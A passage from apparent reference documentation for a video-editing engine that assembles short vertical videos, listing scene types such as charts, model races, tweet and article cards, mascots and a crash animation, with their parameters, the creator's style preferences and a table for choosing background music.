edits itself: real clip frames on a video track, the silences between them boxed in blue (`markAt`) then closed (`cutAt`), "Aa" caption pills dropping on each clip (`capsAt`), blue animation blocks with a sparkle (`fxAt`), a playhead over `playFrom..playTo`, and `steps` as blue chips checked one by one under the sheet (sheet 354 px tall + the chip row 60 px below it); for "l'IA monte tes rushs": rushes fly into a mascot (`img` items with `posKeys`/`scaleKeys` toward it, drawn before it), then the mascot moves up and the `edit` sheet appears under it. Board item `term {cmd, w: 960, h: 640, size: 52, title, logo, name: 'Claude Code', sub, placeholder, focusAt, typeFrom, typeTo, suggest: [[name, desc]], sendAt, out: [{text, at, dim}]}` is a Claude Code terminal (centered): the slash command types in the prompt box with its autocomplete row, Enter (`sendAt`) moves it to the history and the `out` lines land one by one (cues play a key per character, a tap on Enter and a tick per output line); use it to show the exact skill launched (`/short-editing`, `/publish`) and give it the real Claude logo. Board item `shatter {logo, s: 260, breakAt, hit: [x, y], n: 10, seed, tight}` (`tight: true` on a colored flat paper: only the icon's pieces, no white glass wedges) is a real logo that holds, then breaks into glass shards at `breakAt` (`hit` = impact point, -1..1 of the icon) with a blue shockwave and spark lines: the hook "X vient de tuer Y" (another logo flies in with `posKeys` and lands on `breakAt`, plus `shake` and whoosh + glass + boom `sfx.files`). Board `img` items from the house icon set (`assets/icons/<name>.png`) take `shadow: false`. The creator's look avoids `stamp` / `stampOver`: plain text with one blue word. Big numbers and board texts follow the style's `display` look (family, weight, title color, `flat`; the white paper style = Bricolage Grotesque 800 flat ink on every text, the suffix and unit in blue, see style-schema). Board `counter` takes `clock: true` for a stopwatch: `value` (and `fromValue`) in seconds shown as `mm:ss` (1200 = 20:00), every digit in a fixed slot so the running timer never jitters (pair it with a drawn stopwatch: a dial `img` plus a hand `img` on the same center turned by `rotKeys`, never a line icon). Board `text` takes `font` (+ `weight`, default 400) to override the display families for that text, e.g. `font: 'Instrument Serif'` (bundled serif, single weight 400, also usable as `captions.font`) on an end card. Board `text` and `counter` take `depth: 1` for an embossed big number (ignored when `display.flat`): the face stays flat in its own color, lifted off the paper by a white top edge and a soft cast shadow, never extruded or 3D (the creator rejected the extruded look); a higher number = a stronger shadow (pair it with `captions.hide` over the same span so the caption does not repeat it). Drawn characters: `ostrich {s, downFrom, downTo, upAt, mound, dir}` buries its head in a sand mound and pops it back out with blue wake-up ticks ("arrêtez de faire l'autruche"); `starship {s, igniteAt, liftFrom, liftTo, liftY}` is a stainless Starship with a blue flame and a pad smoke cloud that lifts off (pair it with the SpaceX wordmark as an `img`). `ferrari {s, roll, rollDur}` is a red side-view sports car (wheels on y) that rolls in from the left by `roll` px; set its `y` to the starship pad line to stand them side by side (Ferrari vs rocket).

Board `label {text, size 90, bg, color, rot -.035, skew .2, caps, align, border, stretch, ls}` is the slanted thumbnail label: heavy condensed italic caps (Archivo extra-condensed) on a flat color block, tilted a few degrees, wiping in from the left in .26 s with a pop SFX. `bg`: `'blue'` (the accent, default), `'pop'` (`colors.pop`), `'ink'` or a hex; the text follows (`colors.onAccent` on the accent, ink on a light fill, white on a dark one) unless `color` is set. `'\n'` stacks lines, `caps: false` keeps the case (short links). Box height is about `size * (.98 * lines + .32)`, width about `.5 * size` per character + `.6 * size`. Stack 2 or 3 of them in different colors like a thumbnail, never more than one per idea. Any item's strike takes `strikeColor` (default `'blue'`): use `'pop'` when the accent is a light yellow, a yellow strike disappears on the paper.

Rich board items (use them instead of line icons or toggles: the creator calls engine line icons such as hourglass, message, robot or play "infâme", and rejects switches for an idea like speed vs quality):
- `gauge {r: 170, value: .9, sweepFrom, sweepTo, unit}`: a round speedometer sheet (270° groove, 21 ticks); the ink needle sweeps to `value` with a lagging ghost trail and the blue arc fills. For "rapidité", "puissance", any speed or intensity.
- `pixelate {img, w: 300, h, r: 26, sharpFrom, sharpTo, block: 44}`: a real image that steps from big pixel blocks to sharp, then a white sheen passes. For "qualité", "netteté", "rendu final".
- `render {w: 900, h: 420, title, imgs: [...], progFrom, progTo, prog: .96, total, elapsed}`: a dark render window (traffic lights, mono title, spinner) whose film strip develops real frames one by one behind a blue scan line, with a striped progress bar, `Frame n / total` and an m:ss timer counting to `elapsed`. For "ça rame", "le rendu prend X s". `imgs` paths are preloaded like `img`.

Common: `{type, from, to, pre, layer: 'stage' (default) | 'over'}`. `pre` (seconds) makes the scene enter early, so a hook scene at `from: 0` is already on screen at frame 1. Leave `to` off the last scene (never a far-future value like 99: it maps to the end and fades the scene out under the CTA). Stage scenes ride with the paper, while `over` scenes float above the camera (CTA). Enter is a spring rise, and exit is a fade with a small lift.

### stat
`{value: 100, suffix: '%', countFrom, countTo, y, size: 300, chip?: {text, at, y}}`
An odometer count-up in tabular digits, with the suffix in blue. Keep `chip` off when the caption already says the number.

### race
```js
{ header: {text, at}, footer: {text, at, logo}, countFrom, countTo, winnerAt, chip: {text, at, y}, stack,
  panels: [{name, logo: 'openai' | 'claude' | 'codex', media, offset, cost, costSuffix: '+', time /* seconds */, ar: .625}] }
```
Model race, like the "GPT vs Claude" comparison videos on X: one paper panel per model, side by side (stacked on 9:16 or with `stack: true`). Each panel header shows the logo, the name, the elapsed time and a live cost meter; the generation plays below. Panel `effort` (e.g. `'Medium effort'`) is a dark pill pinned top-left on the media: always set it, a comparison without the reasoning effort is useless. Meters run from 0 between `countFrom` and each panel's own finish, scaled to its real `time`, so the faster model stops first and gets a check. At `winnerAt` the cheaper panel gets the blue ring and its price turns blue; `chip` (the verdict, e.g. "1.8× cheaper") lands under the panels, `footer` sits at the bottom in ink2. SFX are automatic (quiet ticks, a pop per finish, a bell on the winner). Build whole videos from `engine/templates/race.js` instead of writing race scenes by hand.

### bars
`{y, rows: [{label, value 0..1, at, blue, dark}], gapAt, gapChip?: {text, at}, tags?: [{text, at, blue}]}`
Horizontal comparison bars (900 px wide, 230 px per row). `gapAt` draws the ghost bar and a bracket showing the difference. `tags` are chips across the top. `dark` fills a non-blue row in ink3, because the default dim grey is too faint on the track. The first row should land within about .3 s of `from`, or the scene shows an empty sheet.

### columns
```js
{ header: {text, at}, sub: {text, at}, base: 1080, y0: 470, colW: 170, gapIn: 30, gapOut: 90, cx: 540, max,   // max auto
  groups: [{ cols: [{name, sub, value, text, at, blue}], ghost: {at, over: 0, of: 1, chip: {text, at}} }] }
```
Grouped vertical columns, like the Artificial Analysis "Cost per task" bar chart. The header sits at y 240 and the sub at y 300, with dotted grid lines and an ink baseline at `base`. Each column rises at `at` and shows its `text` value above it (46/800), its `name` (42/800) under the baseline and its `sub` (36/600 ink3) below that. A group's `ghost` draws the `of` column's height as a dashed blue outline over the `over` column, with a blue ratio chip (for example "5.7x"). Use seam 1320.

### recap
`{rect: [60, 210, 960], rh: 98, header: {text, count, at}, rows: [{title, sub, at}]}`
A numbered list sheet for outros ("the 9 changes"). The header text is 52/800 with `count` in blue on the right. Rows are 98 px each, with a blue number disc, the title at 44/800 and the sub at 36/600 right-aligned. Height is `118 + n*rh + 18`, so 9 rows end around y 1230: use seam 1300 and put the CTA over it at y 1420. Cascade the rows about .14 s apart.

### convo
```js
{ rect: [40, 200, 1000, 1000], title: 'Claude', model: 'Opus 5.5', size: 42, msgs: [
  { who: 'me', text, from, to },                         // blue bubble, words appear on the creator's spoken words
  { who: 'opus', text, at, offs: [0, .19, ...] },         // streamed reply, offs = word starts in its voice clip (1x s)
  { who: 'opus', image: 'assets/media/x.jpg', at, genFrom, sharpAt, size: 560, label: 'Pixel art' } ] }
```
A live Claude thread for "I talk to the AI" shorts. Every message has its final size from the moment it appears and the thread scrolls up as it grows. The image reply resolves from coarse pixels with a `label · N %` chip. Use seam 1240 and hide captions over the bubble ranges (the bubbles are the captions). Opus voices come from `spec.voices`.

### scatter
```js
{ header: {text, at}, sub: {text, at}, plot: {x0: 170, x1: 960, y0: 420, h: 680},
  xRange: [a, b], yRange: [a, b], xTicks, yTicks, xPrefix: '$', xSuffix: 'k', xLabel, yLabel,
  xLog: true,   // log cost axis, like Artificial Analysis
  points: [{label, sub, x, y, at, color: 'blue' | 'ink' | 'gray', side: 'left' | 'right', dx, dy}],   // no label = small grey context dot
  arrows: [{pair: [i, j], at, card: {text, at, dx, dy, w, sub: {text, at}}}],   // arrow from point i to j + fixed-size delta card
  ref, vs, dyAt, dyChip: {text, at}, dxAt, dxChip: {text, at}, ringAt }
```

An X/Y chart (for example intelligence vs cost). Axes grow in and points pop at `at`, with gray used for context points. `ref` and `vs` are point indexes. `dyAt` draws the vertical gap bracket and `dxAt` the horizontal one, each with a chip. `ringAt` rings the `ref` winner. Use seam 1320 so the plot has room.

When the video shows a real chart (Artificial Analysis, a board screenshot), reproduce **that** chart: the same models, the same effort variants and the same arrows. Take the numbers from the page's embedded data (`curl` the page, parse `intelligenceIndex` and `intelligenceIndexCostPerTask`). Never replace them with the headline defaults. Keep context models as unlabeled dots, and label only the models you talk about. Arrow keys must not be named `from`/`to`, because `mapSpec` would remap them as times.

### tiles
`{y, header: {text, at}, items: [{glyph | logo, label, at, strikeAt}]}`
`pre` also shifts the header and items, so a hook tiles scene with `pre: .5` is fully readable at frame 1.
App-icon tiles in a row, with a hand-drawn strike through each. Use them for "no more X, Y, Z".

### title
`{lines: [{text, at, emph, emphAt}]}`
Big centred statement lines. `emph` is the word that turns blue at `emphAt`. Pair it with a `music.breaks` range so the line lands in the air.

### chat
```js
{ rect: [x, y, w, h], newChatAt, focusAt, prompt: { text, from, to }, sendAt, workFrom, workTo,
  result: { media, offset, at, label } }
```
`result` is optional; `workText` sets the working line (default 'Opus 5.5 crée ta vidéo'). `greeting` (default « Qu'est-ce qu'on crée ? ») and `placeholder` (default « Décris ta vidéo… ») set the empty-chat texts. A Claude-style chat: greeting, "+ Nouveau chat" pointer click, focus the composer, word-synced typing over the spoken words between `prompt.from` and `prompt.to`, send, a working bar, then a result card playing `media`. Hide captions over the typing range.

### switch
```js
{ y: 420, tiles: [{logo: 'codex' | 'claude', label}, {glyph, label}], headerKeys: [[t, 'text']], sideKeys: [[t, 0 | 1]], w: 13,
  chips: [{text, at, side: 0 | 1, blue}] }
```
Two tool tiles (250 px) with a toggle between them. The blue knob slides to the active side on each `sideKeys` time, and the active tile gets a blue ring. `headerKeys` cross-fade the header line above. Chips stack under their side and dim with it. Use it for "X vs Y, now I switch". Built-in logos: `claude` (starburst), `codex` (`>_`), an image path (`assets/logos/x.png`, grayed while inactive), anything else via `glyph`. `y: 330` with the full-paper hook cutout, `y: 420` with seam 1240.

### tree
`{rect: [x, y, w], size: 46, lines: [{text: '├── CLAUDE.md', at, link: {text: 'AGENTS.md', at}}]}`
A project folder in JetBrains Mono on a sheet. Tree glyphs render grey, folders (ending in `/`) extra bold, and `link` slides in a blue `→ target` (symlinks). Lines may appear out of order to follow the voice.

### snap (over)
`{layer: 'over', from, origin: [x, y], r: 1}` a finger-snap burst (rays + ring) with a snap sound. Use it on every "je claque des doigts".

### xylo
`{y, notes: ['E', 'G', 'A', 'C'], midi: [76, 79, 81, 84], hitKeys: [[t, barIndex]], restAt}` a paper xylophone. A mallet springs to each bar, the bar lights blue, a note floats up, and a real mallet note plays (SFX bus). Put `hitKeys` on the sung syllables, and `hold` that range so the rhythm survives the silence cutter.

### sfxtrack
`{y, header: {text, at}, tag: {text, at}, rows: [{label, at, sound: 'snap', clips: [[a, b]] (0..1)}], playFrom, playTo}` an audio-editor lane per sound; a playhead sweeps and lights each clip. For "l'IA a créé les bruits".

### popover (over)
`{layer: 'over', from, to, w: 700, keys: [[t, [x, y]]], title, message: {text, from, to}, buttons: ['Annuler', 'OK'], clickAt}` a macOS alert that lands over the camera, follows where the speaker points (keys), types the spoken message word-synced, and the pointer clicks OK. Hide captions over the typing.

### overlay (over)
`{layer: 'over', media, from, to, offset, fade: 0}` a full-frame transparent clip (a `media` with `alpha: true`) drawn straight over the frame, under the captions. For an app UI animated over the full-screen camera: write the UI as an HTML page with a `window.setT(t)` that sets every style for an instant, then `short.mjs capture <project> source/<name>.html --dur <s> --alpha` (one screenshot per frame, png-in-mov + `stills/<name>-sheet.jpg`). Build these in parallel with sub-agents: `references/sub-agents.md`. Keep it inside a full-screen stretch (seam 0, at least 5 s): a window move draws the camera card over the `over` layer. Pin the captions above the UI with `captions.yKeys`. The media cache follows the file (size and date): a recaptured clip is re-extracted by the next `prepare`. Example: a comment CTA ("commente skill"): the Instagram Reels UI over the face, a finger taps the comments, types and posts the word, then the DM banners drop in, so the viewer feels they must do it now.

### pause (over)
`{layer: 'over', from: 'p+0', to: 'p+9.3', keys: [[t, [x, y, r]]]}` a paper pause badge with a blue ring that fills over the pause, morphing to play at `to`. Keep it off the face.

### Motion-design film (full paper, seam 1920): mdGrid, mdIntro, mdRec, mdWave, mdCut, mdVision, mdDiffuse, mdCode, mdStills, mdRender, mdAssemble
A narrated "how it was made" film, played during a `pause` with layout `[['p+0', 0], ['p+0.75', 1920], ['p+X', 0]]` and the pause badge parked top right (`[964, 296, 52]`) as a progress ring. Each beat slides in from the right and leaves to the left, back to back, so the beats read as one camera move. Every beat takes `step: {n, of: 5, title, sub, logo}` (blue disc + 80 px title at y 430, 5-segment progress rail at y 290, faint giant numeral) and `y: 600` for its content, which then fills about 600 to 1550. A `step.logo` image path draws the real icon right after the title (the giant numeral stays). The beats also work as a whole short with no pause (layout `[[0, 1920]]`). Time each beat on the narrator's words (`p+X` from words.md) and hide captions over the whole pause.
- `mdGrid {from, to}` drifting dot grid behind the film.
- `mdIntro {y: 700, title, sub: {text, at, to, emph}}` logo tile on a turning sunburst with rings, 150 px title, sub words landing on the narrator's words.
- `mdRec {media, offset, clock, stamp: {text, at}}` the raw take playing in a 960x540 card with REC pill and a running timecode up to `clock` s, then a stamp.
- `mdWave {sweepFrom, sweepTo, markAt, words: [[word, sourceSeconds]]}` waveform, sweeping playhead, each word drops into a timestamp list; `markAt` highlights the hundredths in blue.
- `mdCut {markAt, closeAt, speedAt, speed: '+15 %', factor, clock: {start, stop, at, endAt}}` waveform with silences: they get a dashed blue box at `markAt`, collapse at `closeAt`, the speech squashes by `1/factor` with the `speed` stamp at `speedAt`, then a big mono clock counts `start` to `stop` seconds (m:ss) from `at` to `endAt`. The clock keys are `start`/`stop`, never `from`/`to` (those would be time-mapped).
- `mdVision {frameAt, scanFrom, scanTo, flipAt, frames: [a, b]}` one camera frame; a scan line turns the room into a checkerboard with a blue-outlined cutout, then a flip-book counter. `w` (default 940) shrinks the card when captions sit below. `frameAt` (source time) must lie inside a `cutout` range so its matte exists; `frames` = the real matted frame count from the prepare log.
- `mdDiffuse {src, prompt: {text, from, to}, genFrom, sharpAt}` a typed prompt, then the image resolves from coarse noisy pixels to sharp with a flash.
- `mdCode {file, lines: [{text, at, dur, fx: 'xylo' | 'snap' | 'birds' | 'bass'}]}` an editor typing syntax-coloured lines; each finished line plays its `fx` (cues) with notes floating up, and an equaliser below grows with every line (`eq: false` hides it, `notes: false` drops the floating notes).
- `mdStills {enterAt, scanFrom, flagAt, flag, fixAt}` a 4x2 grid of mini shorts (paper card + camera + caption pill); a loupe snakes across them, at `flagAt` thumb `flag` (0 to 7) gets a blue ring and a "!" (its caption overflows), the others dim, and at `fixAt` the caption slides into place and the badge turns into a check.
- `mdRender {total, renderFrom, renderTo, url, bars: [{label, value, frac, at, blue}]}` a browser window rendering a mini short, image counter up to `total` with a progress bar, then comparison bars (e.g. video length vs render time).
- `mdAssemble {flyFrom, stagger, playFrom, playTo, stamp, tracks: [{label, clips: [[a, b]], cam | text}]}` clips fly in from everywhere and snap onto their tracks (cam thumbnails, waveforms, "Aa" caption pills), then a playhead runs.

### pipeline
`{y, header: {text, at, glyph | logo}, rows: [{glyph | logo, mono, title, sub, at, blue}]}` (`header.glyph` replaces the default Claude logo in the header tile) "who did what": a live voice meter in the header pulses while the narrator speaks, rows land on the narrator's words (`'p+X'` from words.md) with a check.

### comment (over)
`{layer: 'over', from, y: 1480, placeholder, typed, clickAt, typeFrom, typeTo, sendAt, button: 'Publier'}` a comment composer CTA with the camera avatar; the pointer focuses it, types `typed` and hits Publier. Use for "dis-moi en commentaire".

### tweet
```js
{ rect: [60, 230, 960], avatar: 'avatar', name, handle, verified: true, text, size: 40,
  footer: '2:41 PM · Sep 29, 2026 · **642.1K** Views', marks: [{ at, text, dur: .7 }],
  media: 'clip', offset: 0, mediaKeys: [[at, offset, 'clipB']], mediaAr: 9/16 }   // optional attached video/image
```
A native X post rebuilt on a paper sheet: 88 px avatar (a `media` key, 176 px PNG), name 40/800, verified badge, handle, X logo, body at `size` 40, hairline and footer. `**bold**` runs work in `text` and `footer`. Each `marks` entry sweeps a blue highlighter over the first occurrence of `text` (line by line) when it is spoken. Height comes from the text, so pick the seam from a still: about 960 for a 4-line post, 1100 to 1240 for 6 to 8 lines. Spread one long thread over several `tweet` scenes (one per point) with a shared base object.
`media` embeds the tweet's own video under the text, like X does. It runs full width with radius 22, at `mediaAr` = height/width (default 9/16, a 16:9 video). The clip plays from `offset` (clip seconds) when the scene starts. `mediaKeys` re-cues it on spoken words: each `[at, offset, id?]` restarts at `offset` and can swap to another media key. Split one long launch video into several `media` entries (`from`/`dur`) and cue the best shot for each sentence. With a 16/9 video the card is about 966 px for 3 lines of text and 1020 for 4, so use seam 1240 to 1300.

### article
```js
{ rect: [60, 0, 960], center: true, logo: 'assets/logos/fortune.png', outlet: 'Fortune', date: '21 juil. 2026',
  kicker: 'AI', headline, headSize: 54, hlMark: { at, dur: .8 }, quote, quoteSize: 38, by: 'Arthur Mensch, CEO de Mistral',
  marks: [{ at, text, dur: .7 }], read: { from, to } }
```
A press source rebuilt natively, never a page screenshot. The card holds an outlet row (64 px logo, name, optional kicker chip, date on the right), a hairline, the headline (a highlighter sweeps it at `hlMark.at`), an optional pulled quote behind a blue rule (`marks` highlight phrases as they are spoken, `read` greys the words not yet said), and the attribution. `center: true` centres the card vertically on the stage. Use the real outlet, headline, date and quote. Leave on screen 6 to 8 s, or 7 to 10 s with a quote.

### Audio ceiling
If the `final` QC shows a true peak above -1 dBTP (AAC overs on dense music), set `mix: { ceil: -2.5 }` (limiter ceiling in dBFS, default -1.5) and rerun `audio` + `final`.

### usage
```js
{ rect: [60, 250, 960], title: 'Plan usage limits · Max (20x)', logo: 'assets/logos/claude.png' /* optional, left of the title */,
  rows: [{ label, sub, value: .03, fill: { value: 1, at, sub: 'Limit reached' }, mark: { at, to } }] }
```
A settings popup of usage meters (label 44, sub 34, % right, 16 px bar). `fill` animates a row's bar and % to `fill.value` at `at` and cross-fades the sub to `fill.sub`; a full bar turns ink. `mark` tints and rings the row from `at` to `to`. 168 px per row, so 3 rows fit above seam 1100.

### chip
`{y, text, size: 44, blue}`: a standalone label. Rarely needed, since captions already do this job.

### cta
`{layer: 'over', name, sub, button, done, clickAt, y: 1420, avatar}`. Texts left out come from the profile (Style layer above). A long name or sub shrinks to stay clear of the button.
A profile card with the avatar cropped from the camera (`avatar: 'assets/images/mascot-avatar.jpg'` puts a picture there instead: faceless styles, never the camera face). The pointer flies in, and the button morphs to a check and `done`. Hide captions from `from` to the end.

### capStyles (over)
`{layer: 'over', from, to, cycleFrom, cycleTo, n: 20, y: 1180, counterY: 300}`. The live caption cycles through 20 caption styles (sticker, pill, karaoke, serif, mono, outline, stacked...) with a `Style 07 / 20` chip and a dot rail. Style 0 before `cycleFrom`; switches cut hard, the fade is per chunk. It draws the captions itself, so hide the normal captions over `[from, to]`.

### camTile (over)
`{layer: 'over', from, to, pre, w: 460, h: 580, keys: [[t, [cx, cy]]], labelKeys: [[t, 'En haut']]}`. The camera as a framed tile on full paper (seam 1920) that glides to each key; the label chip sits mirrored across the screen centre. For "put my camera top / bottom / left / right".

### camSplit (over)
`{layer: 'over', from, to, h: 820, enterFrom: 1240, dur: .7}`. On full paper (layout key `[from, 1920, 400]`), the camera panel rises from `enterFrom` to the top `0..h` with a torn bottom edge and a soft shadow, keeping the face framed. The paper below is free for an image (the masterclass, a product): put it on a `layer: 'over'` board after this scene, and `captions.yKeys` on the seam. For "split screen, moi en haut, X en dessous".

### Faceless (no camera)
For an audio-only video, the speaker is a die-cut sticker of their head (`engine/lib/scenes-faceless.js`, full parameters in its header). Layout `[[0, 1920]]`, `captions.paperY` ~1580.
- `paperFlow {from: 0, to: 99}` first in `scenes`: textured paper that drifts and breathes all video long, a few paper cut-outs floating near the edges.
- `talkHead {face, emo: [{from, to, img}], posKeys [[t, [x, top, w]]], body, crew}`: the head floats and nods on every word, livelier while words are spoken. No lip-sync: one face at a time, `emo` swaps it on emotional beats. `body {at, armsAt, danceAt, shirt, bpm}` grows a paper-cut body and starts a disco dance; `crew` adds friends' sticker heads that pop in and dance. Put it after the floor so dancers stand on it.
- `bgPattern {from, to, keys: [[t, 'squares' | 'diamonds' | 'stripes' | 'none']], x 540, y 1500, a 1}`: the paper background changes pattern on the beat (blue-tint checker, harlequin diamonds, vertical stripes, drifting slowly); each new one wipes in as a circle growing from (x, y). Put it right after `paperFlow`. For "change the background".
- `disco {from, at, y, r, spotsAt}` mirror ball lowering on its string, light spots on the paper. `dancefloor {from, at, y0, bpm}` perspective tiles lighting on the beat. Both need a `from`.
- `mascot {idle, talk: [imgs], poses: [{at, to, img, flip}], posKeys [[t, [x, footY, h]]], jumps: [{at}], headOnlySpans, hueSpans, dance: {at, to, imgs, bpm, beats 2}, crew: [{at, to, imgs, x, footY, h, phase}], sizes: {img: k}}`: a full-body cartoon mascot (preferred over photo heads, which look weird animated). One drawing per beat: `talk` drawings alternate per phrase, `poses` override them on gags, `dance` cycles drawings on the beat until its optional `to` (crew members also take `to` and sink back under the floor). Every swap lands with a squash and stretch, words nod it, `jumps` hop it. `headOnlySpans` cuts the body off at the chin (floating head gag), `hueSpans` cycles its colors. `posKeys` moves and resizes it (springs between keys): keep it alive, walking next to the card it talks about and growing or shrinking with the beat. Pointing poses (`m-point-side`, `m-present`, `m-point-up-side`) point to the right; `flip: true` on a pose mirrors it to point left. `teleport: true` (the Mascotte style default, the creator finds running and leaping weird): every posKeys move wider than 80 px is a teleport instead, he zips thin and vanishes in 0.1 s before the key, a paper poof cloud marks both spots, and he springs back at the new place (size and footY snap with him; smaller moves still spring). Move him only when the beat needs it (a reveal, an element that takes his spot, a hero moment) and let him point from where he stands the rest of the time. Without `teleport`, every move wider than 80 px is an automatic cartoon leap: crouch before, arc, lean into the move, marker speed lines, paper dust on landing; `travelPose` (a running drawing facing right, auto-flipped to the direction) replaces the pose mid-air. `airPose` shows during `jumps` that stay in place, `dust: false` turns the puffs and poofs off. Never put a `jump` just before a move. Pose PNGs are one 3:4 frame, feet at 95%. The `setup-faceless` skill makes them: `scripts/avatar.mjs poses` draws a pose pack from the avatar (engine `images.mjs --raw`, the design as `refs`) and cuts it (`scripts/cutout.mjs --canvas`), `avatar.mjs pose <m-name> "<acting>"` adds one pose to a style.
- `bills {from, at, to, n}` paper dollar bills flutter down (money gag). `confetti {from, at, to, x, y, n, power}` paper confetti burst.

### Clean layout: slide (stage)
Rejected by the creator on 2026-10-07 (camera always at the bottom, too much text): never use it for his shorts; his look is the paper stage with `layout.frame`. Kept only as engine code. With `layout.card` (style the creator Clean, reference `shorts/short-claude-5x-value-clean/`), one `slide` = one idea held 6 to 20 s. Full parameters in the header of `engine/lib/scenes-clean.js`.
- `{type: 'slide', from, to, pre, eyebrow, title: [l1, l2], hl: ['word'], size: 90, items: [...]}`: blue eyebrow at y 231, a heavy 2-line headline that auto-shrinks to 960 px (words in `hl` turn blue), then white glass cards in the zone y 500 to 890 (the caption pill sits at ~968, keep items above it). The slide blurs out at `to` while the next one blurs in.
- Items (absolute 1080 px coords), each with `at`, `outAt`, `dimAt`, `ringAt`:
  - `row`: logo, title, sub, pill; `strikeAt` strikes the title and swaps the pill for `pillAlt`.
  - `stat`: logo, name, plan, a big counter (`value`, `countAt`, `until`), sub, `badge` pill bottom right (`badgeAt`, `badgeTop`). `ghost: true` = a pale "?" card from `ghostAt` that fills in at `at`.
  - `bars`: one glass row per entry, with a track and a counter (`countAt`, `until`, `win` = blue).
  - Smaller kinds: `tweet` (one line), `logo` (`tile: true` = glass tile, `label`), `img`, `pill`, `text`, `arrow`, `card`.
- Name count times `countAt` / `until` (mapped). Never give a value field an `At` / `From` / `To` suffix.
- With `sfx.appear: 'slide'`, each slide and each item gets a soft paper slide and nothing else (no ticks, pops or bells).

## Adding a scene

Add `const myScene = { draw(R, s, t) {...} }` (optional `needs(s, t, U)` returns `[mediaId, clipTime]` pairs or raw URLs: `'/p/assets/…'`, `U.cam(t)`, `U.cut(t)`; read them back with `R.frame()` / `R.img()`) to `engine/lib/scenes.js` and register it in `SCENES`. Use `env()` for enter/exit, `rise()` for elements, and `S()` / `track()` for motion. Add matching sounds in `engine/lib/cues.js`. Name time params with the `At`/`From`/`To` convention.

### crashWall (scenes-crash.js)

A car rams a real 3D brick wall in perspective: road, wall built course by course (each brick a shaded 3D box with ink edges and a ground shadow), the car sticker arrives, revs, rams at `hitAt` and sinks into the hole; the bricks around the impact burst with rigid-body tumbling and settle on the road, the ones above collapse, dust, blue burst, camera shake + zoom punch. Use it for any "crashes into a wall" beat instead of a crash pose image.
`{ type: 'crashWall', from, to, car: 'assets/mascot/m-car.png' (front facing right, bumper at 0.95/0.9 of the image), carH 470, enterAt, buildAt, ramAt, hitAt, lane .8, rows 8, cols 6, brick [120, 56, 62], color '#C8603E', yaw .62, pitch .3, zoom, cx 560, cy 1250, outDx }`. Put a `board` after it for the BOUM text; a `confetti` at about (560, 1060) lands on the impact.

### masterCard (scenes-master.js)

The creator's masterclass card (port of the adMaster ads). Every step optional, keyed on a word: arrowAt (link + arrow), btnAt (button + cursor from cursorFrom), clickAt (press, "Inscription" bar), unlockAt ("Accès débloqué"), playAt..playTo (progress bar, timer, lessons lit then checked). Params: from, to, pre, y 236, eyebrow, title, sub, logo, avatar, badge, badgeAt, lessons [[label, "N min"]], chaptersFrom, chapterStep, linkText, btnText, busyText, unlockText, total, outDx. Faceless: avatar = the mascot image. A title too wide for the room left of the avatar shrinks to fit (never under the avatar). Board items also take rotKeys [[t, rad]].

# Music for shorts

Every short gets one bed from the library in `assets/music/`. These are 8 calm tension beds, kept by ear out of 18 generated styles. They are generated in code, so there are no rights to clear and they cost nothing. Each runs about 2 min 30 and is mastered at -16 LUFS. `tracks.json` lists the id, name, bpm, desc and dur of each one. To listen to one: `open <skill>/assets/music/<id>.mp3`.

```js
music: { bed: '<id>', offset: <s> },   // resolves to <skill>/assets/music/<id>.mp3 on any machine
```

- `bed` picks a library track by id. `src` takes any other file instead (a track the creator has the rights to). If the creator profile sets `music.src`, that track wins over the library. `mute: true` = no music.
- A style can ship its own bed through `music.src` (nico-slowdown: `boom-bap`, a drum-forward 90 BPM hip-hop beat generated by `node engine/music.mjs boom-bap`, style in `engine/lib/chill-styles.js`, kept out of this calm library on purpose).
- Use the generated score (no `bed`, no `src`) only when the short needs its `music.breaks` drum drops or the `pause` tape stop, since a library bed does neither. Also use it when the creator asks for it.
- Long-form (`format: 'youtube'`): `music: { chapters: [[at, '<id>'], ...] }` (SOURCE s) plays one bed per chapter, with a 2 s crossfade centred on each `at`. Without it, one bed runs the whole video.
- Paid ads keep the stock `tension-ad.mp3` (see scene-library `music`).
- The beds stay calm under the voice on purpose. Busy AI-generated tracks were tested and rejected as too dynamic under a voice, so never swap in one of those.

## Pick by what the viewer should feel at the hook

| Track (`id`) | BPM | Energy | What it sounds like | Perfect for | Avoid for |
|---|---|---|---|---|---|
| Sonar (`sonar`) | 80 | 1, the calmest | Sonar pings in echo, deep drone, slow pulse | Serious or reflective takes: careers, "is AI replacing devs", a confession, a lesson learned. Also dense explanations and fast talkers, since it leaves the most room for the voice. **Rejected under a voice on 2026-10-21** (« la music background est très étrange »: its pings read as odd noises): never in a talking-head short | Hype, launches, any talking-head short |
| Enquête (`enquete`) | 90 | 2 | Low drone, filtered pulse, heartbeat, muted piano | Revelations and behind the scenes: "j'ai découvert", what a company really pays, a leak, numbers nobody shows, story-led shorts. **Default when unsure** | Upbeat tutorials |
| Thriller (`thriller`) | 84 | 3 | Staccato 3-3-2 ostinato, distant low impacts, dark piano | Drama and warnings: controversies, lawsuits, security holes, "arrête de faire ça", company vs company, a model that cheats | Good news, wins |
| Filature (`filature`) | 92 | 3 | Muted pluck ostinato, prowling double bass, film-noir vibraphone | Hidden tricks and secret features, a competitor's quiet move, "ils ne veulent pas que tu saches", clever hacks. Slightly playful | Emotional or heavy topics. Its brushed hit every ~1.3 s sounds like a sound effect under motion design: use it low-passed at 2.4 kHz (project copy, `music.src`) |
| Arpège sombre (`arpege`) | 96 | 3 | Synth arpeggio that opens slowly, pulsing bass, distant lead | AI news: a new model or tool, how something works, AI product demos. **Default for tech topics** | Personal stories |
| Code noir (`code-noir`) | 98 | 4 | Muted minimal techno, soft kick, dub chords in echo, pumping bass | Building and coding: vibe coding, Claude Code sessions, workflows, screen recordings, setups, "j'ai shippé X en 1 jour" | Drama |
| Compte à rebours (`compte-a-rebours`) | 100 | 4, rising | Ticking clock, pulsed bass that opens, rising pad, distant impacts | Time pressure and verdicts: launches and promos ending ("il reste 24h"), challenges ("j'ai X heures pour..."), races and benchmarks with a winner. It is the only bed that clearly builds, so land its `c` on the payoff. **Rejected under a voice on 2026-10-12** (short-claude-arena v2: the ticking runs the whole short, "horrible, trop fort, matche pas"): keep it for paper-only races without voice | Any talking-head short, calm explainers |
| Néon (`neon`) | 104 | 5, the most energetic | Pumping 16th arpeggio, octave bass, distant lead, city at night | Hype and wins: launch announcements, revenue/MRR/results, a big release. Also paper-only motion videos, races and X posts, where the music carries everything | Serious or sad topics |

Fast pick:

| The viewer should feel... | Bed |
|---|---|
| Curious about a secret | Enquête, or Filature if it is a trick |
| Worried or outraged | Thriller |
